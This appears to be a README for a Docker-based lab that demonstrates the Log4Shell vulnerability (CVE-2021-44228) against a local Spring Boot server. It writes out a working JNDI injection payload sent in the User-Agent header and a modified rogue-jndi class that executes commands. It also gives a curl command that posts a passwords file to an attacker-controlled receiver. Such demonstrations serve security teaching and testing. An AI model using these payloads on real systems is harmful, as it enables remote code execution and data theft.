CVE-2021-44228-docker-example

A simple demonstration of CVE-2021-44228 to transfer data from a vulnerable server to a web service controlled by an attacker. All components involved are running via Docker.

Components

vulnerable-server

This is a standard Java server acting as the victim. It's running:

  • Java 8u111
  • Web Application (Spring Boot 2.6.1)
  • Log4J

This server is VULNERABLE using this configuration.

Additional Information:

  • endpoint at /logging (GET) will log the user agent using Log4J
  • /foo/passwords.txt exists (the attackers target)

Content of passwords.txt:

my secret

malicious-receiver

This is a standard Java server acting as the data collector of the attacker. It's running:

  • Java 17
  • Web Application (Spring Boot 2.6.1)

Additional information:

  • endpoint at receiver (POST) will log the request body

malicious-ldap

This is an LDAP server powered by rogue-jndi. Its ExportJava class has been modified so that commands passed via the -c flag get executed.

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

When requested by the vulnerable server it will respond with a class running the following command when instantiated:

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

This will effectively post the content of /foo/passwords.txt to the malicious receiver's prepared endpoint.

Usage

  1. setup Docker images by running:
    ./build.sh
  2. start component containers by running:
    ./start.sh
  3. trigger the vulnerability by running:
    curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
  4. check the logging output of the malicious receiver component by running:
    docker logs --timestamps docker_malicious-receiver_1
    There should be the content of the server's passwords.txt file.
  5. stop component containers by running:
    ./stop.sh